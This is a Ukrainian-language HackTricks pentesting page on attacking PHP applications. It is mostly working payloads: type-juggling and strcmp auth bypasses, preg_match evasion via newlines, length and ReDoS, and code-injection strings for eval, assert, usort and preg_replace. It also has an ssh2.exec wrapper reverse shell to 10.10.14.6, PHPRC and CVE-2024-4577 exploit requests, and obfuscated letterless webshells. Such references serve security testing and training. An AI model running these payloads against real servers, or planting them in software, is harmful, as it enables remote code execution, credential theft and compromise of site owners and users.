PHP Tricks

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Cookies: поширені розташування:

Це також стосується phpMyAdmin cookies.

Cookies:

PHPSESSID
phpMyAdmin

Розташування:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Обхід порівнянь PHP

Loose comparisons/Type Juggling ( == )

Якщо в PHP використовується ==, можуть виникати непередбачувані випадки, коли порівняння не працює так, як очікується. Це тому, що == порівнює лише значення, перетворені до одного типу; якщо ви також хочете порівнювати типи даних, потрібно використовувати ===.

PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Рядок, який не починається з числа, дорівнює числу
  • "0xAAAA" == "43690" -> True Рядки, складені з чисел у десятковому або шістнадцятковому форматі, можуть порівнюватися з іншими числами/рядками з результатом True, якщо числа однакові (числа в рядку інтерпретуються як числа)
  • "0e3264578" == 0 --> True Рядок, що починається з “0e” і за яким іде будь-що, буде дорівнювати 0
  • "0X3264578" == 0X --> True Рядок, що починається з “0” за яким іде будь-яка літера (X може бути будь-якою літерою) і далі будь-що, буде дорівнювати 0
  • "0e12334" == "0" --> True Це дуже цікаво, бо в деяких випадках ви контролюєте рядок “0” і деякий контент, який хешується і порівнюється з ним. Отже, якщо ви можете подати значення, яке дасть хеш, що починається з “0e” і не містить літер, ви зможете обійти порівняння. Ви можете знайти вже захешовані рядки з таким форматом тут: https://github.com/spaze/hashes
  • "X" == 0 --> True Будь-яка літера в рядку дорівнює цілому числу 0

More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling також впливає на функцію in_array() за замовчуванням (вам потрібно встановити третій аргумент у true, щоб зробити строге порівняння):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Якщо ця функція використовується для будь-якої перевірки автентифікації (наприклад, перевірки пароля) і користувач контролює одну сторону порівняння, він може відправити порожній масив замість рядка як значення пароля (https://example.com/login.php/?username=admin&password[]=) і обійти цю перевірку:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Та сама помилка виникає з strcasecmp()

Строгий type Juggling

Навіть якщо === використовується, можуть бути помилки, які роблять порівняння вразливим до type juggling. Наприклад, якщо порівняння перетворює дані в інший тип об’єкта перед порівнянням:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() може бути використано для валідації user input (воно перевіряє, чи будь-яке word/regex зі blacklist присутнє у user input, і якщо ні, код може продовжити своє виконання).

New line bypass

Однак при відмежуванні початку regexppreg_match() перевіряє лише перший рядок user input, тому якщо якимось чином ви можете відправити введення у декілька рядків, це може дозволити обійти цю перевірку. Приклад:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Щоб обійти цю перевірку, ви можете відправити значення з переносами рядків urlencoded (%0A) або, якщо ви можете відправляти JSON data, відправте його у кількох рядках:

{
"cmd": "cat /etc/passwd"
}

Приклад дивіться тут: https://ramadistra.dev/fbctf-2019-rceservice

Length error bypass

(Цей bypass, судячи з усього, був випробуваний на PHP 5.2.5, і я не зміг змусити його працювати на PHP 7.3.15)
Якщо ви зможете передати в preg_match() валідні, дуже великі вхідні дані, воно не зможе їх обробити, і ви зможете bypass перевірку. Наприклад, якщо робиться blacklisting a JSON, ви могли б надіслати:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

Коротко: проблема виникає тому, що функції preg_* в PHP базуються на PCRE library. У PCRE деякі регулярні вирази підбираються з великою кількістю рекурсивних викликів, що витрачає багато пам’яті стеку. Можна встановити ліміт на кількість допустимих рекурсій, але в PHP цей ліміт defaults to 100.000, що більше, ніж поміщається в стеку.

This Stackoverflow thread також був наведений у дописі, де ця проблема розглядається детальніше. Наша задача стала зрозумілою:\
Надіслати вхідні дані, які змусили б regex виконати понад 100_000 рекурсій, спричинити SIGSEGV, змусити функцію preg_match() повернути false, через що застосунок подумає, що наш ввід не є зловмисним, і вкинути наприкінці payload сюрприз, щось на кшталт {system(<verybadcommand>)}, щоб отримати SSTI –> RCE –> flag :).

Ну, у термінах regex, ми насправді не робимо 100k “recursions”, натомість ми рахуємо “backtracking steps”, які, як зазначено в PHP documentation, за замовчуванням дорівнюють 1_000_000 (1M) у змінній pcre.backtrack_limit.\
Щоб досягти цього, 'X'*500_001 призведе до 1 million backtracking steps (500k forward and 500k backwards):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Неявне приведення типів для PHP obfuscation

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Якщо PHP перенаправляє на іншу сторінку, але жодна функція die або exit не викликається після встановлення заголовка Location, PHP продовжує виконання та додає дані до тіла:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Перевірте:

File Inclusion/Path traversal

Більше трюків

  • register_globals: У PHP < 4.1.1.1 або при неправильній конфігурації register_globals може бути активним (або його поведінку імітують). Це означає, що в глобальних змінних, таких як $_GET, якщо вони мають значення, наприклад $_GET[“param”]=“1234”, ви можете звертатися до нього через $param. Таким чином, надсилаючи HTTP-параметри, ви можете перезаписати змінні, які використовуються в коді.
  • The PHPSESSION cookies of the same domain are stored in the same place, тому якщо в межах одного домену різні cookies використовуються в різних шляхах, ви можете зробити так, щоб один шлях зчитував cookie іншого шляху, встановивши значення cookie для іншого шляху.
    Таким чином, якщо обидва шляхи звертаються до змінної з однаковим ім’ям, ви можете зробити так, щоб значення цієї змінної в path1 застосовувалось до path2. І тоді path2 вважатиме змінні path1 валідними (надавши cookie ім’я, що відповідає йому в path2).
  • Коли у вас є usernames користувачів машини, перевірте адресу: /~<USERNAME>, щоб визначити, чи активовані php-директорії.
  • Якщо в конфігурації php встановлено register_argc_argv = On, то query params, розділені пробілами, використовуються для заповнення масиву аргументів array_keys($_SERVER['argv']), ніби це були arguments from the CLI. Це цікаво, тому що якщо це налаштування вимкнене, значення args array буде Null, коли викликається з вебу, оскільки масив args не буде заповнений. Тому, якщо веб-сторінка перевіряє, чи працює вона як веб або як CLI-утиліта порівнянням на кшталт if (empty($_SERVER['argv'])) {, нападник може надіслати параметри в GET-запиті типу ?--configPath=/lalala і сторінка помилково вважатиме, що виконується як CLI, а отже потенційно пропарсить і використає ці аргументи. Більше інформації в original writeup.
  • LFI and RCE using php wrappers

password_hash/password_verify

Ці функції зазвичай використовуються в PHP, щоб згенерувати хеші з паролів та перевірити, чи пароль правильний у порівнянні з хешем.
Підтримувані алгоритми: PASSWORD_DEFAULT та PASSWORD_BCRYPT (починається з $2y$). Зверніть увагу, що PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT. І наразі PASSWORD_BCRYPT має обмеження розміру вхідних даних у 72bytes. Тому, коли ви намагаєтеся захешувати щось більше за 72bytes цим алгоритмом, буде використано лише перші 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

З this twitter thread видно, що при відправленні більше ніж 1000 GET params або 1000 POST params або 20 files, PHOP не встановлюватиме headers у відповіді.

Дозволяє, наприклад, обійти встановлення CSP headers у коді на кшталт:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Заповнення тіла перед встановленням заголовків

Якщо PHP-сторінка виводить помилки й повертає частину введених користувачем даних, користувач може змусити PHP-сервер вивести достатньо довгий вміст, щоб під час спроби додати заголовки до відповіді сервер викликав помилку.
У наведеному сценарії зловмисник змусив сервер видати великі помилки, і, як видно на скриншоті, коли PHP спробував змінити інформацію заголовків, йому це не вдалося (наприклад, CSP заголовок не був відправлений користувачу):

SSRF in PHP functions

Перегляньте сторінку:

PHP SSRF

ssh2.exec stream wrapper RCE

When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:

$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

достатньо, щоб виконувати shell-команди через localhost SSH:

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
  • Частина облікових даних може повторно використовувати будь-який leaked system password (наприклад, отриманий із cracked bcrypt hashes).
  • Символ # в кінці коментує серверний суфікс (files/<id>.zip), тож виконується тільки ваша команда.
  • Blind RCE підтверджується спостереженням за вихідним трафіком за допомогою tcpdump -ni tun0 icmp або розміщенням HTTP canary.

Замініть команду на reverse shell payload після підтвердження:

format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

Оскільки все відбувається всередині PHP worker, TCP-з’єднання походить від цілі й успадковує привілеї інжектованого облікового запису (yuri, eric тощо).

Виконання коду

system(“ls”);
ls;
shell_exec(“ls”);

Check this for more useful PHP functions

RCE через preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Щоб виконати код у аргументі “replace”, потрібен щонайменше один збіг.
Ця опція функції preg_replace була визнана застарілою починаючи з PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE через Assert()

Ця функція в php дозволяє вам виконувати код, записаний у рядку, щоб повертати true або false (і залежно від цього змінювати виконання). Зазвичай змінна від користувача буде вставлена посеред рядка. Наприклад:
assert("strpos($_GET['page']),'..') === false") –> У цьому випадку, щоб отримати RCE ви можете зробити:

?page=a','NeVeR') === false and system('ls') and strpos('a

Вам потрібно зламати code синтаксис, додати свій payload, а потім виправити це знову. Ви можете використовувати логічні операції такі як “and” or “%26%26” or “|”. Зверніть увагу, що “or”, “||” не працюють, бо якщо перша умова істинна наш payload не буде виконано. Так само “;” не працює, оскільки наш payload не буде виконано.

Інший варіант — додати до рядка виконання команди: '.highlight_file('.passwd').'

Інший варіант (якщо у вас є internal code) — змінити деяку змінну, щоб змінити виконання: $file = "hola"

RCE via usort()

Ця функція використовується для сортування масиву елементів з використанням певної функції.
Щоб зловживати цією функцією:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

Щоб дізнатись кількість дужок, які потрібно закрити:

  • ?order=id;}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ';'). Можливо нам бракує однієї або більше дужок.
  • ?order=id);}//: ми отримуємо warning. Схоже на те, що потрібно.
  • ?order=id));}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ')' i). Ймовірно, у нас занадто багато закриваючих дужок.

RCE via .httaccess

If you can upload a .htaccess, then you can configure several things and even execute code (configuring that files with extension .htaccess can be executed).

Different .htaccess shells can be found here

RCE via Env Variables

Якщо ви знайдете вразливість, яка дозволяє змінювати env variables у PHP (і ще одну — для завантаження файлів, хоча за додатковими дослідженнями це можливо обійти), ви можете зловживати цією поведінкою, щоб отримати RCE.

  • LD_PRELOAD: ця змінна оточення дозволяє завантажувати довільні бібліотеки при виконанні інших бінарних файлів (хоча в цьому випадку це може не спрацювати).
  • PHPRC : Вказує PHP, де знаходиться його файл конфігурації, зазвичай php.ini. Якщо ви можете завантажити власний конфігураційний файл, використайте PHPRC, щоб вказати PHP на нього. Додайте запис auto_prepend_file, що вказує на другий завантажений файл. Цей другий файл містить звичайний PHP-код, який потім виконується середовищем виконання PHP перед будь-яким іншим кодом.
  1. Upload a PHP file containing our shellcode
  2. Upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1
  3. Set the PHPRC variable to the file we uploaded in step 2.
  • Get more info on how to execute this chain from the original report.
  • PHPRC - ще один варіант
  • Якщо ви cannot upload files, ви можете у FreeBSD використати файл /dev/fd/0, який містить stdin, тобто body запиту, відправленого в stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Або щоб отримати RCE, увімкніть allow_url_include і препендніть файл із PHP-кодом у base64:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Technique from this report.

XAMPP CGI RCE - CVE-2024-4577

The webserver parses HTTP requests and passes them to a PHP script executing a request such as as http://host/cgi.php?foo=bar as php.exe cgi.php foo=bar, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:

-d allow_url_include=1 -d auto_prepend_file=php://input

Крім того, можливо інжектувати параметр “-” за допомогою символу 0xAD через пізнішу нормалізацію PHP. Перегляньте приклад експлойту з this post:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In this post можна знайти чудові ідеї для генерації brain fuck PHP-коду при дозволі використовувати дуже мало символів.
Крім того, там також запропоновано цікавий спосіб виконання функцій, що дозволив їм bypass кількох перевірок:

(1)->{system($_GET[chr(97)])}

PHP Static analysis

Перевірте, чи можете вставити код у виклики цих функцій (з here):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

If you are debugging a PHP application you can globally enable error printing in/etc/php5/apache2/php.ini adding display_errors = On and restart apache : sudo systemctl restart apache2

Deobfuscating PHP code

Можна використовувати веб-сайт www.unphp.net для деобфускування PHP-коду.

PHP Wrappers & Protocols

PHP Wrappers and Protocols можуть дозволити вам bypass write and read protections у системі і скомпрометувати її. Для детальнішої інформації див. цю сторінку.

Xdebug unauthenticated RCE

Якщо ви бачите у виводі phpconfig() що Xdebug увімкнено, слід спробувати отримати RCE через https://github.com/nqxcode/xdebug-exploit

Variable variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusing new $_GET[“a”]($_GET[“b”])

Якщо на сторінці ви можете створити новий об’єкт довільного класу, ви можете отримати RCE — перегляньте наступну сторінку, щоб дізнатися як:

Php Rce Abusing Object Creation New Usd Get A Usd Get B

Execute PHP without letters

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Використання вісімкової системи

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR простий shellcode

Згідно з this writeup , таким чином можна згенерувати простий shellcode:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Отже, якщо ви можете execute arbitrary PHP without numbers and letters, ви можете надіслати запит, як показано нижче, зловживаючи цим payload, щоб виконати arbitrary PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Для детальнішого пояснення перегляньте https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (inside eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Подібне до Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks